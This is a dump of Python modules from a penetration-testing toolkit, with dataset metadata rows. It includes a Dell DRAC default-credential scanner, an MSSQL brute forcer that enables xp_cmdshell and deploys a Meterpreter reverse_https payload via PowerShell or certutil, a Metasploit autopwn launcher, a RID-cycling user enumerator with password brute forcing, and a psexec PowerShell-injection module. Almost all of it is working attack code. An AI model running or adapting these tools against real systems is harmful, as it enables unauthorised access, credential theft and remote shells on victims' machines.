Kennedy @ TrustedSec") print("https://www.trustedsec.com") print("@TrustedSec and @HackingDave") print("++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++") print("") print("This attack vector can be used to identify default installations") print("of Dell DRAC and Chassis installations. Once found, you can use") print("the remote administration capabilties to mount a virtual media") print("device and use it to load for example Back|Track or password") print("reset iso. From there, add yourself a local administrator account") print("or dump the SAM database. This will allow you to compromise the") print("entire infrastructure. You will need to find a DRAC instance that") print("has an attached server and reboot it into the iso using the virtual") print("media device.") print("") print("Enter the IP Address or CIDR notation below. Example: 192.168.1.1/24") print("") ipaddr = input("Enter the IP or CIDR: ") print("{0}[*]{1} Scanning IP addresses, this could take a few minutes depending on how large the subnet range...".format(bcolors.GREEN, bcolors.ENDC)) print("{0}[*]{1} Asan example, a /16 can take an hour or two.. A slash 24 is only a couple seconds. Be patient.".format(bcolors.GREEN, bcolors.ENDC)) # set global variables to see if we were successful global_check1 = 0 global_check2 = 0 global_check3 = 0 global_check4 = 0 # kick off the scan scan(ipaddr) if any([global_check1, global_check2, global_check3, global_check4]): print(("{0}[*]{1} DellDrac / Chassis Brute Forcer has finished scanning. Happy Hunting =)".format(bcolors.GREEN, bcolors.ENDC))) else: print(("{0}[!]{1} Sorry, unable to find any of the Dell servers with default creds..Good luck :(".format(bcolors.RED, bcolors.ENDC))) input("Press {return} to exit.")
13,192
Python
.py
318
29.141509
135
0.506895
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,796
mssql.py
CHEGEBB_africana-framework/externals/set/src/fasttrack/mssql.py
#!/usr/bin/env python3 # coding=utf-8 import _mssql import binascii import os import shutil import subprocess import thread import time import pexpect import src.core.setcore as core import impacket.tds as tds #from src.core.payloadgen import create_payloads # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass # # this is the mssql modules # # define the base path definepath = core.definepath() operating_system = core.check_os() msf_path = core.meta_path() # # this is the brute forcer # def brute(ipaddr, username, port, wordlist): # if ipaddr being passed is invalid if ipaddr == "": return False if ":" in ipaddr: ipaddr = ipaddr.split(":") ipaddr, port = ipaddr ipaddr = str(ipaddr) port = str(port) # base counter for successful brute force counter = 0 # build in quick wordlist if wordlist == "default": wordlist = "src/fasttrack/wordlist.txt" # read in the file successful_password = None with open(wordlist) as passwordlist: for password in passwordlist: password = password.rstrip() # try actual password try: # connect to the sql server and attempt a password print("Attempting to brute force {bold}{ipaddr}:{port}{endc}" " with username of {bold}{username}{endc}" " and password of {bold}{passwords}{endc}".format(ipaddr=ipaddr, username=username, passwords=password, port=port, bold=core.bcolors.BOLD, endc=core.bcolors.ENDC)) target_server = _mssql.connect("{0}:{1}".format(ipaddr, port), username, password) if target_server: core.print_status("\nSuccessful login with username {0} and password: {1}".format(username, password)) counter = 1 successful_password = password break # if login failed or unavailable server except: pass # if we brute forced a machine if counter == 1: return ",".join([ipaddr, username, port, successful_password]) # else we didnt and we need to return a false else: if ipaddr: core.print_warning("Unable to guess the SQL password for {0} with username of {1}".format(ipaddr, username)) return False # # this will deploy an already prestaged executable that reads in hexadecimal and back to binary # def deploy_hex2binary(ipaddr, port, username, password): # base variable used to select payload option option = None choice1 = "1" conn = _mssql.connect("{0}:{1}".format(ipaddr, port), username, password) core.print_status("Enabling the xp_cmdshell stored procedure...") try: conn.execute_query("exec master.dbo.sp_configure 'show advanced options',1;" "GO;" "RECONFIGURE;" "GO;" "exec master.dbo.sp_configure 'xp_cmdshell', 1;" "GO;" "RECONFIGURE;" "GO") except: pass # just throw a simple command via powershell to get the output try: print("""Pick which deployment method to use. The first is PowerShell and should be used on any modern operating system. The second method will use the certutil method to convert a binary to a binary.\n""") choice = input("Enter your choice:\n\n" "1.) Use PowerShell Injection (recommended)\n" "2.) Use Certutil binary conversion\n\n" "Enter your choice [1]:") if choice == "": choice = "1" if choice == "1": core.print_status("Powershell injection was selected to deploy to the remote system (awesome).") option_ps = input("Do you want to use powershell injection? [yes/no]:") if option_ps.lower() == "" or option_ps == "y" or option_ps == "yes": option = "1" core.print_status("Powershell delivery selected. Boom!") else: option = "2" # otherwise, fall back to the older version using debug conversion via hex else: core.print_status("Powershell not selected, using debug method.") option = "2" except Exception as err: print(err) payload_filename = None # if we don't have powershell if option == "2": # give option to use msf or your own core.print_status("You can either select to use a default " "Metasploit payload here or import your " "own in order to deliver to the system. " "Note that if you select your own, you " "will need to create your own listener " "at the end in order to capture this.\n\n") choice1 = input("1.) Use Metasploit (default)\n" "2.) Select your own\n\n" "Enter your choice[1]:") if choice1 == "": choice1 = "1" if choice1 == "2": attempts = 0 while attempts <= 2: payload_filename = input("Enter the path to your file you want to deploy to the system (ex /root/blah.exe):") if os.path.isfile(payload_filename): break else: core.print_error("File not found! Try again.") attempts += 1 else: core.print_error("Computers are hard. Find the path and try again. Defaulting to Metasploit payload.") choice1 = "1" if choice1 == "1": web_path = None #prep_powershell_payload() import src.core.payloadgen.create_payloads # if we are using a SET interactive shell payload then we need to make # the path under web_clone versus ~./set if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")): web_path = os.path.join(core.userconfigpath, "web_clone") # then we are using metasploit else: if operating_system == "posix": web_path = core.userconfigpath # if it isn't there yet if not os.path.isfile(core.userconfigpath + "1msf.exe"): # move it then subprocess.Popen("cp %s/msf.exe %s/1msf.exe" % (core.userconfigpath, core.userconfigpath), shell=True).wait() subprocess.Popen("cp %s/1msf.exe %s/ 1> /dev/null 2> /dev/null" % (core.userconfigpath, core.userconfigpath), shell=True).wait() subprocess.Popen("cp %s/msf2.exe %s/msf.exe 1> /dev/null 2> /dev/null" % (core.userconfigpath, core.userconfigpath), shell=True).wait() payload_filename = os.path.join(web_path + "1msf.exe") with open(payload_filename, "rb") as fileopen: # read in the binary data = fileopen.read() # convert the binary to hex data = binascii.hexlify(data) # we write out binary out to a file with open(os.path.join(core.userconfigpath, "payload.hex"), "w") as filewrite: filewrite.write(data) if choice1 == "1": # if we are using metasploit, start the listener if not os.path.isfile(os.path.join(core.userconfigpath, "set.payload")): if operating_system == "posix": try: core.module_reload(pexpect) except: import pexpect core.print_status("Starting the Metasploit listener...") msf_path = core.meta_path() child2 = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path() + "msfconsole"), os.path.join(core.userconfigpath, "meta_config"))) # random executable name random_exe = core.generate_random_string(10, 15) # # next we deploy our hex to binary if we selected option 1 (powershell) # if option == "1": core.print_status("Using universal powershell x86 process downgrade attack..") payload = "x86" # specify ipaddress of reverse listener ipaddr = core.grab_ipaddress() core.update_options("IPADDR=" + ipaddr) port = input(core.setprompt(["29"], "Enter the port for the reverse [443]")) if not port: port = "443" core.update_options("PORT={0}".format(port)) core.update_options("POWERSHELL_SOLO=ON") core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...") #with open(os.path.join(core.userconfigpath, "payload_options.shellcode"), "w") as filewrite: # format needed for shellcode generation filewrite = open(core.userconfigpath + "payload_options.shellcode", "w") filewrite.write("windows/meterpreter/reverse_https {0},".format(port)) filewrite.close() try: core.module_reload(src.payloads.powershell.prep) except: import src.payloads.powershell.prep # launch powershell # create the directory if it does not exist if not os.path.isdir(os.path.join(core.userconfigpath, "reports/powershell")): os.makedirs(os.path.join(core.userconfigpath, "reports/powershell")) x86 = open(core.userconfigpath + "x86.powershell").read().rstrip() x86 = core.powershell_encodedcommand(x86) core.print_status("If you want the powershell commands and attack, " "they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell"))) filewrite = open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w") filewrite.write(x86) filewrite.close() # if our payload is x86 based - need to prep msfconsole rc if payload == "x86": powershell_command = x86 filewrite = open(core.userconfigpath + "reports/powershell/powershell.rc", "w") filewrite.write("use multi/handler\n" "set payload windows/meterpreter/reverse_https\n" "set lport {0}\n" "set LHOST 0.0.0.0\n" "exploit -j".format(port)) filewrite.close() else: powershell_command = None # grab the metasploit path from config or smart detection msf_path = core.meta_path() if operating_system == "posix": try: core.module_reload(pexpect) except: import pexpect core.print_status("Starting the Metasploit listener...") child2 = pexpect.spawn("{0} -r {1}".format(os.path.join(msf_path + "msfconsole"), os.path.join(core.userconfigpath, "reports/powershell/powershell.rc"))) core.print_status("Waiting for the listener to start first before we continue forward...") core.print_status("Be patient, Metasploit takes a little bit to start...") #child2.expect("Starting the payload handler", timeout=30000) child2.expect("Processing", timeout=30000) core.print_status("Metasploit started... Waiting a couple more seconds for listener to activate..") time.sleep(5) # assign random_exe command to the powershell command random_exe = powershell_command # # next we deploy our hex to binary if we selected option 2 (debug) # if option == "2": # here we start the conversion and execute the payload core.print_status("Sending the main payload via to be converted back to a binary.") # read in the file 900 bytes at a time #with open(os.path.join(core.userconfigpath, 'payload.hex'), 'r') as fileopen: fileopen = open(core.userconfigpath + 'payload.hex', "r") core.print_status("Dropping initial begin certificate header...") conn.execute_query("exec master ..xp_cmdshell 'echo -----BEGIN CERTIFICATE----- > {0}.crt'".format(random_exe)) while fileopen: data = fileopen.read(900).rstrip() #for data in fileopen.read(900).rstrip(): if data == "": break core.print_status("Deploying payload to victim machine (hex): {bold}{data}{endc}\n".format(bold=core.bcolors.BOLD, data=data, endc=core.bcolors.ENDC)) conn.execute_query("exec master..xp_cmdshell 'echo {data} >> {exe}.crt'".format(data=data, exe=random_exe)) core.print_status("Delivery complete. Converting hex back to binary format.") core.print_status("Dropping end header for binary format conversion...") conn.execute_query("exec master ..xp_cmdshell 'echo -----END CERTIFICATE----- >> {0}.crt'".format(random_exe)) core.print_status("Converting hex binary back to hex using certutil - Matthew Graeber man crush enabled.") conn.execute_query("exec master..xp_cmdshell 'certutil -decode {0}.crt {0}.exe'".format(random_exe)) core.print_status("Executing the payload - magic has happened and now its time for that moment.. " "You know. When you celebrate. Salute to you ninja - you deserve it.") conn.execute_query("exec master..xp_cmdshell '{0}.exe'".format(random_exe)) # if we are using SET payload if choice1 == "1": if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")): core.print_status("Spawning separate child process for listener...") try: shutil.copyfile(os.path.join(core.userconfigpath, "web_clone/x"), definepath) except: pass # start a threaded webserver in the background subprocess.Popen("python3 src/html/fasttrack_http_server.py", shell=True) # grab the port options # if core.check_options("PORT=") != 0: # port = core.heck_options("PORT=") # # # if for some reason the port didnt get created we default to 443 # else: # port = "443" # thread is needed here due to the connect not always terminating thread, # it hangs if thread isnt specified try: core.module_reload(thread) except: import thread # execute the payload # we append more commands if option 1 is used if option == "1": core.print_status("Triggering the powershell injection payload... ") # remove encoding if "toString" in powershell_command: powershell_command = powershell_command.split(".value.toString() '")[1].replace("'", "") powershell_command = 'powershell -enc "' + powershell_command sql_command = ("exec master..xp_cmdshell '{0}'".format(powershell_command)) thread.start_new_thread(conn.execute_query, (sql_command,)) # using the old method if option == "2": core.print_status("Triggering payload stager...") alphainject = "" if os.path.isfile(os.path.join(core.userconfigpath, "meterpreter.alpha")): with open(os.path.join(core.userconfigpath, "meterpreter.alpha")) as fileopen: alphainject = fileopen.read() sql_command = ("xp_cmdshell '{0}.exe {1}'".format(random_exe, alphainject)) # start thread of SQL command that executes payload thread.start_new_thread(conn.execute_query, (sql_command,)) time.sleep(1) # if pexpect doesnt exit right then it freaks out if choice1 == "1": if os.path.isfile(os.path.join(core.userconfigpath, "set.payload")): os.system("python3 ../../payloads/set_payloads/listener.py") try: # interact with the child process through pexpect child2.interact() try: os.remove("x") except: pass except: pass # # this will deploy an already prestaged executable that reads in hexadecimal and back to binary # def cmdshell(ipaddr, port, username, password, option): # connect to SQL server mssql = tds.MSSQL(ipaddr, int(port)) mssql.connect() mssql.login("master", username, password) core.print_status("Connection established with SQL Server...") core.print_status("Attempting to re-enable xp_cmdshell if disabled...") try: mssql.sql_query("exec master.dbo.sp_configure 'show advanced options',1;" "RECONFIGURE;" "exec master.dbo.sp_configure 'xp_cmdshell', 1;" "RECONFIGURE;") except: pass core.print_status("Enter your Windows Shell commands in the xp_cmdshell - prompt...") while True: # prompt mssql cmd = input("mssql>") # if we want to exit if cmd == "quit" or cmd == "exit": break # if the command isnt empty elif cmd: # execute the command mssql.sql_query("exec master..xp_cmdshell '{0}'".format(cmd)) # print the rest of the data mssql.printReplies() mssql.colMeta[0]['TypeData'] = 80 * 2 mssql.printRows()
18,825
Python
.py
378
35.677249
214
0.55819
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,797
autopwn.py
CHEGEBB_africana-framework/externals/set/src/fasttrack/autopwn.py
#!/usr/bin/env python3 # coding=utf-8 # # # Metasploit Autopwn functionality # # import os import pexpect import src.core.setcore as core # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass # this will load the database def prep(database, ranges): print("\n") core.print_status("Prepping the answer file based on what was specified.") # prep the file to be written with open("src/program_junk/autopwn.answer", "w") as filewrite: core.print_status("Using the {0} sql driver for autopwn".format(database)) filewrite.write("db_driver {0}\r\n".format(database)) core.print_status("Autopwn will attack the following systems: {0}".format(ranges)) filewrite.write("db_nmap {0}\r\n".format(ranges)) filewrite.write("db_autopwn -p -t -e -r\r\n") filewrite.write("jobs -K\r\n") filewrite.write("sessions -l\r\n") core.print_status("Answer file has been created and prepped for delivery into Metasploit.\n") def launch(): """ here we cant use the path for metasploit via setcore.meta_path. If the full path is specified it breaks database support for msfconsole for some reason. reported this as a bug, may be fixed soon... until then if path variables aren't set for msfconsole this will break, even if its specified in set_config """ # launch the attack core.print_status("Launching Metasploit and attacking the systems specified. This may take a moment..") # try/catch block try: child = pexpect.spawn("{0} -r {1}\r\n\r\n".format(os.path.join(core.meta_path + 'msfconsole'), os.path.join(core.userconfigpath, "autopwn.answer"))) child.interact() # handle exceptions and log them except Exception as error: core.log(error) def do_autopwn(): print('Doing do_autopwn') # pull the metasploit database database = core.meta_database() ip_range = input(core.setprompt(["19", "20"], "Enter the IP ranges to attack (nmap syntax only)")) # prep the answer file prep(database, ip_range) confirm_attack = input(core.setprompt(["19", "20"], "You are about to attack systems are you sure [y/n]")) # if we are sure, then lets do it if confirm_attack == "yes" or confirm_attack == "y": launch()
2,403
Python
.py
55
37.618182
116
0.67152
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,798
ridenum.py
CHEGEBB_africana-framework/externals/set/src/fasttrack/ridenum.py
#!/usr/bin/python3 # coding=utf-8 import os import subprocess import sys # check for python pexpect try: import pexpect # if we don't have it except ImportError: print("[!] Sorry boss, python-pexpect is not installed. You need to install this first.") sys.exit() ############################################################################################################# # # RID Enum # RID Cycling Tool # # Written by: David Kennedy (ReL1K) # Website: https://www.trustedsec.com # Twitter: @TrustedSec # Twitter: @HackingDave # # This tool will use rpcclient to cycle through and identify what rid accounts exist. Uses a few # different techniques to find the proper RID. # # Special thanks to Tom Steele for the pull request update and changes. # ############################################################################################################# def usage(): print(""" .______ __ _______ _______ .__ __. __ __ .___ ___. | _ \ | | | \ | ____|| \ | | | | | | | \/ | | |_) | | | | .--. | | |__ | \| | | | | | | \ / | | / | | | | | | | __| | . ` | | | | | | |\/| | | |\ \----.| | | '--' | | |____ | |\ | | `--' | | | | | | _| `._____||__| |_______/ _____|_______||__| \__| \______/ |__| |__| |______| Written by: David Kennedy (ReL1K) Company: https://www.trustedsec.com Twitter: @TrustedSec Twitter: @HackingDave Rid Enum is a RID cycling attack that attempts to enumerate user accounts through null sessions and the SID to RID enum. If you specify a password file, it will automatically attempt to brute force the user accounts when its finished enumerating. - RID_ENUM is open source and uses all standard python libraries minus python-pexpect. - You can also specify an already dumped username file, it needs to be in the DOMAINNAME\\USERNAME format. Example: ./ridenum.py 192.168.1.50 500 50000 /root/dict.txt Usage: ./ridenum.py <server_ip> <start_rid> <end_rid> <optional_password_file> <optional_username_filename> """) sys.exit() # for nt-status-denied denied = 0 # attempt to use lsa query first def check_user_lsa(ip): # pull the domain via lsaenum proc = subprocess.Popen('rpcclient -U "" {0} -N -c "lsaquery"'.format(ip), stdout=subprocess.PIPE, shell=True) stdout_value = proc.communicate()[0] # if the user wasn't found, return a False if not "Domain Sid" in stdout_value: return False else: return stdout_value # attempt to lookup an account via rpcclient def check_user(ip, account): proc = subprocess.Popen('rpcclient -U "" {0} -N -c "lookupnames {1}"'.format(ip, account), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout_value = proc.communicate()[0] # if the user wasn't found, return a False bad_statuses = ["NT_STATUS_NONE_MAPPED", "NT_STATUS_CONNECTION_REFUSED", "NT_STATUS_ACCESS_DENIED"] if any(x in stdout_value for x in bad_statuses): return False else: return stdout_value # helper function to break a list up into smaller lists def chunk(l, n): for i in range(0, len(l), n): yield l[i:i + n] # this will do a conversion to find the account name based on rid # looks up multiple sid-rids at a time provided a range def sids_to_names(ip, sid, start, stop): rid_accounts = [] ranges = ['{0}-{1}'.format(sid, rid) for rid in range(start, stop)] # different chunk size for darwin (os x) chunk_size = 2500 if sys.platform == 'darwin': chunk_size = 5000 chunks = list(chunk(ranges, chunk_size)) for c in chunks: command = 'rpcclient -U "" {0} -N -c "lookupsids '.format(ip) command += ' '.join(c) command += '"' proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) stdout_value = proc.communicate()[0] if "NT_STATUS_ACCESS_DENIED" in stdout_value: print("[!] Server sent NT_STATUS_ACCESS DENIED, unable to extract users.") global denied denied = 1 break for line in stdout_value.rstrip().split('\n'): if "*unknown*" not in line: if line != "": rid_account = line.split(" ", 1)[1] # will show during an unhandled request # '00000' are bogus accounts? # only return accounts ie. (1). Everything else should be a group if rid_account != "request" and '00000' not in rid_account and '(1)' in rid_account: # here we join based on spaces, for example 'Domain Admins' needs to be joined rid_account = rid_account.replace("(1)", "") # return the full domain\username rid_account = rid_account.rstrip() rid_accounts.append(rid_account) return rid_accounts # capture initial input success = False sid = None try: if len(sys.argv) < 4: usage() ip = sys.argv[1] rid_start = sys.argv[2] rid_stop = sys.argv[3] # if password file was specified passwords = "" # if we use userlist userlist = "" if len(sys.argv) > 4: # pull in password file passwords = sys.argv[4] # if its not there then bomb out if not os.path.isfile(passwords): print("[!] File was not found. Please try a path again.") sys.exit() if len(sys.argv) > 5: userlist = sys.argv[5] if not os.path.isfile(userlist): print("[!] File was not found. Please try a path again.") sys.exit() # if userlist is being used versus rid enum, then skip all of this if not userlist: print("[*] Attempting lsaquery first...This will enumerate the base domain SID") # call the check_user_lsa function and check to see if we can find base SID guid sid = check_user_lsa(ip) # if lsa enumeration was successful then don't do if sid: sid = sid.replace("WARNING: Ignoring invalid value 'share' for parameter 'security'", "") print("[*] Successfully enumerated base domain SID. Printing information: \n" + sid.rstrip()) print("[*] Moving on to extract via RID cycling attack.. ") # format it properly sid = sid.rstrip() sid = sid.split(" ") sid = sid[4] # if we weren't successful on lsaquery else: print("[!] Unable to enumerate through lsaquery, trying default account names..") accounts = ("administrator", "guest", "krbtgt", "root") for account in accounts: # check the user account based on tuple sid = check_user(ip, account) # if its false then cycle threw if not sid: print("[!] Failed using account name: {0}...Attempting another.".format(account)) else: # success! Break out of the loop print("[*] Successfully enumerated SID account.. Moving on to extract via RID.\n") break # if we found one if sid: # pulling the exact domain SID out sid = sid.split(" ") # pull first in tuple sid = sid[1] # remove the RID number sid = sid[:-4] # we has no sids :( exiting else: denied = 1 print("[!] Failed to enumerate SIDs, pushing on to another method.") print("[*] Enumerating user accounts.. This could take a little while.") # assign rid start and stop as integers rid_start = int(rid_start) rid_stop = int(rid_stop) # this is where we write out our output if os.path.isfile("{0}_users.txt".format(ip)): # remove old file os.remove("{0}_users.txt".format(ip)) with open("{0}_users.txt".format(ip), "a") as filewrite: # cycle through rid and enumerate the domain sid_names = sids_to_names(ip, sid, rid_start, rid_stop) if sid_names: for name in sid_names: # print the sid print("Account name: {0}".format(name)) # write the file out filewrite.write(name + "\n") if denied == 0: print("[*] RID_ENUM has finished enumerating user accounts...") # if we failed all other methods, we'll move to enumdomusers if denied == 1: print("[*] Attempting enumdomusers to enumerate users...") proc = subprocess.Popen("rpcclient -U '' -N {0} -c 'enumdomusers'".format(ip), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) with open("{0}_users.txt".format(ip), "a") as filewrite: counter = 0 for line in iter(proc.stdout.readline, ''): counter = 1 if line != '': if "user:" in line: # cycle through line = line.split("rid:") line = line[0].replace("user:[", "").replace("]", "") print(line) filewrite.write(line + "\n") else: denied = 2 break else: if counter == 0: break # if we had nothing to pull if counter == 0: denied = 2 if denied == 2: print("[!] Sorry. RID_ENUM failed to successfully enumerate users. Bummers.") if denied == 1: print("[*] Finished dumping users, saved to {0}_users.txt.".format(ip)) # if we specified a password list if passwords: # our password file with open(passwords) as fileopen: passfile = fileopen.readlines() # if userlist was specified use the userlist specified if not userlist: # our list of users userlist = "{0}_users.txt".format(ip) with open(userlist) as fileopen: userfile = fileopen.readlines() # cycle through username first for user in userfile: with open("{0}_success_results.txt".format(ip), "a") as filewrite: user = user.rstrip() user_fixed = user.replace("\\", "\\\\").replace("'", "") # if the user isn't blank if user: for password in passfile: password = password.rstrip() # if we specify a lowercase username if password == "lc username": try: if "\\" in password: password = user.split("\\")[1] password = password.lower() # if domain isn't specified else: password = user.lower() except: pass # if we specify a uppercase username if password == "uc username": try: if "\\" in password: password = user.split("\\")[1] password = password.upper() else: password = user.lower() except: pass if password != "": child = pexpect.spawn("rpcclient -U '{0}%{1}' {2}".format(user_fixed, password, ip)) # if we are using a blank password if password == "": child = pexpect.spawn("rpcclient -U '{0}' -N {1}".format(user_fixed, ip)) i = child.expect(['LOGON_FAILURE', 'rpcclient', 'NT_STATUS_ACCOUNT_EXPIRED', 'NT_STATUS_ACCOUNT_LOCKED_OUT', 'NT_STATUS_PASSWORD_MUST_CHANGE', 'NT_STATUS_ACCOUNT_DISABLED', 'NT_STATUS_LOGON_TYPE_NOT_GRANTED', 'NT_STATUS_BAD_NETWORK_NAME', 'NT_STATUS_CONNECTION_REFUSED', 'NT_STATUS_PASSWORD_EXPIRED', 'NT_STATUS_NETWORK_UNREACHABLE']) # login failed for this one if i == 0: if "\\" in password: password = password.split("\\")[1] print("Failed guessing username of {0} and password of {1}".format(user, password)) child.kill(0) # if successful if i == 1: print("[*] Successfully guessed username: {0} with password of: {1}".format(user, password)) filewrite.write("username: {0} password: {1}\n".format(user, password)) success = True child.kill(0) # if account expired if i == 2: print("[-] Successfully guessed username: {0} with password of: {1} however, it is set to expired.".format(user, password)) filewrite.write("username: {0} password: {1}\n".format(user, password)) success = True child.kill(0) # if account is locked out if i == 3: print("[!] Careful. Received a NT_STATUS_ACCOUNT_LOCKED_OUT was detected.. \ You may be locking accounts out!") child.kill(0) # if account change is needed if i == 4: print("[*] Successfully guessed password but needs changed. Username: {0} with password of: {1}".format(user, password)) filewrite.write("CHANGE PASSWORD NEEDED - username: {0} password: {1}\n".format(user, password)) success = True child.kill(0) # if account is disabled if i == 5: print("[*] Account is disabled: {0} with password of: {1}".format(user, password)) filewrite.write("ACCOUNT DISABLED: {0} PW: {1}\n".format(user, password)) success = True child.kill(0) if i == 8 or i == 9: print("[!] Unable to connect to the server. Try again or check networking settings.") print("[!] Exiting RIDENUM...") success = False sys.exit() # if successful if i == 9: print("[*] Successfully guessed username: {0} with password of (NOTE IT IS EXPIRED!): {1}".format(user, password)) filewrite.write("username: {0} password: {1} (password expired)\n".format(user, password)) success = True child.kill(0) # if we got lucky if success: print("[*] We got some accounts, exported results to {0}_success_results_txt".format(ip)) print("[*] All accounts extracted via RID cycling have been exported to {0}_users.txt".format(ip)) # if we weren't successful else: print("\n[!] Unable to brute force a user account, sorry boss.") # exit out after we are finished sys.exit() # except keyboard interrupt except KeyboardInterrupt: print("[*] Okay, Okay... Exiting... Thanks for using ridenum.py")
16,296
Python
.py
335
34.561194
151
0.503457
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,799
psexec.py
CHEGEBB_africana-framework/externals/set/src/fasttrack/psexec.py
# coding=utf-8 ############################################# # # Main SET module for psexec # ############################################# import os import subprocess import src import src.core.setcore as core # Py2/3 compatibility # Python3 renamed raw_input to input try: input = raw_input except NameError: pass # Module options (auxiliary/admin/smb/psexec_command): # Name Current Setting Required Description # ---- --------------- -------- ----------- # COMMAND net group "Domain Admins" /domain yes The command you want to execute on the remote host # RHOSTS yes The target address range or CIDR identifier # RPORT 445 yes The Target port # SMBDomain WORKGROUP no The Windows domain to use for authentication # SMBPass no The password for the specified username # SMBSHARE C$ yes The name of a writeable share on the server # SMBUser no The username to authenticate as # THREADS 1 yes The number of concurrent threads # WINPATH WINDOWS yes The name of the remote Windows directory # msf auxiliary(psexec_command) > # grab config options for stage encoding stage_encoding = core.check_config("STAGE_ENCODING=").lower() if stage_encoding == "off": stage_encoding = "false" else: stage_encoding = "true" rhosts = input(core.setprompt(["32"], "Enter the IP Address or range (RHOSTS) to connect to")) # rhosts # username for domain/workgroup username = input(core.setprompt(["32"], "Enter the username")) # password for domain/workgroup password = input(core.setprompt(["32"], "Enter the password or the hash")) domain = input(core.setprompt(["32"], "Enter the domain name (hit enter for logon locally)")) # domain name threads = input(core.setprompt(["32"], "How many threads do you want [enter for default]")) # if blank specify workgroup which is the default if domain == "": domain = "WORKGROUP" # set the threads if threads == "": threads = "15" payload = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=").lower() # # payload generation for powershell injection # try: # specify ipaddress of reverse listener ipaddr = core.grab_ipaddress() core.update_options("IPADDR=" + ipaddr) port = input(core.setprompt(["29"], "Enter the port for the reverse [443]")) if port == "": port = "443" core.update_options("PORT={0}".format(port)) with open(os.path.join(core.userconfigpath, "payload_options.shellcode"), "w") as filewrite: # format needed for shellcode generation filewrite.write("{0} {1},".format(payload, port)) core.update_options("POWERSHELL_SOLO=ON") core.print_status("Prepping the payload for delivery and injecting alphanumeric shellcode...") try: core.module_reload(src.payloads.powershell.prep) except: import src.payloads.powershell.prep # create the directory if it does not exist if not os.path.isdir(os.path.join(core.userconfigpath, "reports/powershell")): os.makedirs(os.path.join(core.userconfigpath, "reports/powershell")) x86 = open(core.userconfigpath + "x86.powershell", "r").read() x86 = core.powershell_encodedcommand(x86) core.print_status("If you want the powershell commands and attack, they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell"))) filewrite = open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w") filewrite.write(x86) filewrite.close() payload = "windows/meterpreter/reverse_https\n" # if we are using x86 command = x86 # assign powershell to command # write out our answer file for the powershell injection attack with open(core.userconfigpath + "reports/powershell/powershell.rc", "w") as filewrite: filewrite.write("use multi/handler\n" "set payload windows/meterpreter/reverse_https\n" "set LPORT {0}\n" "set LHOST {1}\n" "set EnableStageEncoding true\n" "set ExitOnSession false\n" "exploit -j\n" "use auxiliary/admin/smb/psexec_command\n" "set RHOSTS {2}\n" "set SMBUser {3}\n" "set SMBPass {4}\n" "set SMBDomain {5}\n" "set THREADS {6}\n" "set COMMAND {7}\n" "exploit\n".format(port, ipaddr, rhosts, username, password, domain, threads, command, stage_encoding)) # launch metasploit below core.print_status("Launching Metasploit.. This may take a few seconds.") subprocess.Popen("{0} -r {1}".format(os.path.join(core.meta_path() + "msfconsole"), os.path.join(core.userconfigpath, "reports/powershell/powershell.rc")), shell=True).wait() # handle exceptions except Exception as e: core.print_error("Something went wrong printing error: {0}".format(e))
5,389
Python
.py
105
44.580952
161
0.604709
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)